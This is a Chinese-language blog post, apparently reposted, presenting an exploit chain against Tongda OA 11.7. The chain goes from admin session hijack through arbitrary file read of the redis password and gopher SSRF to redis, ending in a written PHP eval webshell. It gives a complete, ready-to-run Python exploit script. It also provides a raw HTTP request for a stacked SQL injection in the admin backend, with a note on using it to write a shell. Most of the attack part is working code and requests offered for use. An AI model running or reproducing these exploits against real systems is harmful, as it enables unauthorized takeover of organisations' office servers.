通达OA11.7 利用新思路（附EXP）

gclome

原文链接：通达OA11.7 利用新思路（附EXP）

前言

炒个冷饭。都是垃圾小洞组合在一起。
任意用户登陆+获取安装目录+任意文件读取+ssrf-->redis -->写入文件-->getshell

一、 通过任意用户登陆拿到管理员的cookie
二、获取安装目录读取redis 配置文件
三、 ssrf 写入文件
四、getshell

通过任意用户登陆拿到管理员的cookie

通达OA 任意用户登陆条件需要管理员在线
http://192.168.1.22/mobile/auth_ ... p;uid=1&P_VER=0
访问路径，覆盖了session直接用cookie登陆，访问目录/general/进入后台

​

这里已经登陆了。打开无痕模式
​
如果他什么都没有返回，说明是OK的。那么就利用当前的phpsessid进行访问
​
如果出现RELOGIN那说明。管理员不在线漏洞形成的过程
​
这里查询了UID 是否在线。CLIENT 默认为0  这个0代表浏览器
​
这个表存的是当前用户的登陆信息。UID 和时间。sid 是phpssion 的值。然后client 是客户端标识符。

获取安装目录读取redis 配置文件

/general/approve_center/archive/getTableStruc.php
​
首先是任意文件读取
/ispirit/im/photo.php?AVATAR_FILE=D:/MYOA/bin/redis.windows.conf&UID=2

读取到redis 密码。然后通过ssrf

/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=gopher://127.0.0.1:6399/

完整exp

如下：

1. # -*- coding:utf-8 -*-
   
2. import os
   
3. import requests
   
4. import re
   
5. # author :print("")
   
6. import urllib
   
7. 
   
8. 
   
9. 
   
10. 
    
11. class GenerateUrl:
    
12.     def __init__(self, password, webroot, filename):
    
13.         self.password = password
    
14. self.webroot = webroot
    
15. self.filename = filename
    
16. self.webshell = '''
    
17.         
    
18. <?php file_put_contents('11.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbMV0pPz4='))?>
    
19. 
    
20. 
    
21. '''
    
22.         self.template = '''_*2
    
23. $4
    
24. AUTH
    
25. ${password_len}
    
26. {password}
    
27. *1
    
28. $8
    
29. flushall
    
30. *4
    
31. $6
    
32. CONFIG
    
33. $3
    
34. SET
    
35. $10
    
36. dbfilename
    
37. ${filename_len}
    
38. {filename}
    
39. *4
    
40. $6
    
41. CONFIG
    
42. $3
    
43. SET
    
44. $3
    
45. dir
    
46. ${webroot_len}
    
47. {webroot}
    
48. *3
    
49. $3
    
50. SET
    
51. $1
    
52. 1
    
53. ${content_len}
    
54. {content}
    
55. *1
    
56. $4
    
57. save
    
58. *1
    
59. $4
    
60. quit
    
61. 
    
62. 
    
63. '''
    
64.     def __str__(self):
    
65.         webshell = self.webshell
    
66. webshell = webshell.replace('"', '%22').replace("'", '%27').replace(",", "%2c")
    
67. webshell = webshell.replace(' ', '%20').replace('\n', '%0D%0A').replace('<', '%3c').replace('?', '%3f').replace(
    
68. '>', '%3e')
    
69. self.template = self.template.replace("{password_len}", str(len(self.password)))
    
70. self.template = self.template.replace("{password}", self.password)
    
71. self.template = self.template.replace("{filename_len}", str(len(self.filename)))
    
72. self.template = self.template.replace("{filename}", self.filename)
    
73. self.template = self.template.replace("{webroot_len}", str(len(self.webroot)))
    
74. self.template = self.template.replace("{webroot}", self.webroot)
    
75. self.template = self.template.replace("{content_len}", str(len(self.webshell)))
    
76. self.template = self.template.replace("{content}", webshell)
    
77. self.template = self.template.replace('\n', '%0D%0A')
    
78. return urllib.quote_plus(self.template)
    
79. 
    
80. 
    
81. proxies = {
    
82. "http": "http://127.0.0.1:8080",
    
83. "https": "http://127.0.0.1:8080",
    
84. }
    
85. def headers(phpsesion):
    
86.     return {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) ",
    
87. "Cookie": phpsesion
    
88. }
    
89. 
    
90. 
    
91. 
    
92. # 获取绝对目录
    
93. def get_path(url, headers):
    
94.     urlc = url
    
95. url = (url + '/general/approve_center/archive/getTableStruc.php')
    
96. try:
    
97.         data = requests.get(url=url, headers=headers, proxies=proxies).json()
    
98. path = data['logPath'].split('\\')[0]
    
99. url2 = urlc + '/ispirit/im/photo.php?AVATAR_FILE=%s/bin/redis.windows.conf&UID=2' % path
    
100. data2 = requests.get(url=url2, headers=headers, proxies=proxies)
     
101. ress = re.search('requirepass .+', data2.text).group()
     
102. return {"path": path, "redis_pass": ress.replace('requirepass ', '').strip()}
     
103. except:
     
104.         exit('ERROR Cookie PHPSESSID expired')
     
105. 
     
106. 
     
107. 
     
108. 
     
109. # ssrf写入文件
     
110. def ssrf_webshell(url, path, password):
     
111.     urlc = url
     
112. path = path
     
113. password = password
     
114. a = GenerateUrl(password, path + "/webroot/", "666.php")
     
115. url = url + '/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=%s' % ('gopher://127.0.0.1:6399/' + str(a))
     
116. data = requests.get(url=url, headers=headers, proxies=proxies)
     
117. ddd = requests.get(url=urlc + '/666.php')
     
118. if ddd.status_code == 200:
     
119.         print('shell url:%s' % urlc + '/666.php')
     
120. else:
     
121.         print('send shell ERROR')
     
122. return True
     
123. 
     
124. 
     
125. def get_cookie(url):
     
126.     url =  url+ "/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
     
127.     headers = {
     
128. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
     
129. }
     
130. try:
     
131.         response = requests.get(url=url, headers=headers)
     
132. if "RELOGIN" in response.text and response.status_code == 200:
     
133.             exit("目标用户为离线状态")
     
134. elif response.status_code == 200 and response.text == "":
     
135.             print("好了马上就能getshell了")
     
136. cookies = response.cookies
     
137. cookie = requests.utils.dict_from_cookiejar(cookies)
     
138. if   cookie['SESSIONID']:
     
139.                 return cookie['SESSIONID']
     
140. else:
     
141.                 exit('实在抱歉,getshell不了')
     
142. else:
     
143.             print("未知错误，目标可能不存在或不存在该漏洞")
     
144. except Exception as e:
     
145.         exit('实在抱歉,getshell不了')
     
146. 
     
147. 
     
148. if __name__ == '__main__':
     
149.     import sys
     
150. try:
     
151.         url = sys.argv[1]
     
152. cookie =get_cookie(url)
     
153. headers = headers(cookie)
     
154. root_path = get_path(url, headers)
     
155. ssrf_webshell(url, root_path['path'], root_path['redis_pass'])
     
156. except:
     
157.         print('python tongda.py http://127.0.0.1')

复制代码

没有测试那个获取cookie 那个地方。这个需要如果测试中出现意外改改吧。纯演示思路

分享一个后台SQL 注入的点

这里支持堆叠注入。首先需要获取到通达OA的安装目录。然后into 写入shell 即可。=。=

1. POST /general/appbuilder/web/officeproduct/productapply/applyprobygroup HTTP/1.1
   
2. Host:
   
3. 10.211.55.5
   
4. Content-Length: 39
   
5. Accept: */*
   
6. DNT: 1
   
7. X-Requested-With: XMLHttpRequest
   
8. UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.103 Safar
   
9. i/537.36
   
10. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    
11. Origin:
    
12. http://10.211.55.5
    
13. Referer:
    
14. http://10.211.55.5/general/officeProduct/product_apply/index.php
    
15. Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    
16. Cookie: SID_12=530bf0a5; SID_27=7202df24; USER_NAME_COOKIE=admin; OA_USER_ID=admin; PHPSESSID=1plu8qbupnesf40l9d02fdlvm5
    
17. ; SID_1=24205621
    
18. Connection: close
    
19. arr[5][pro_id]=151';select sleep(3) %23

复制代码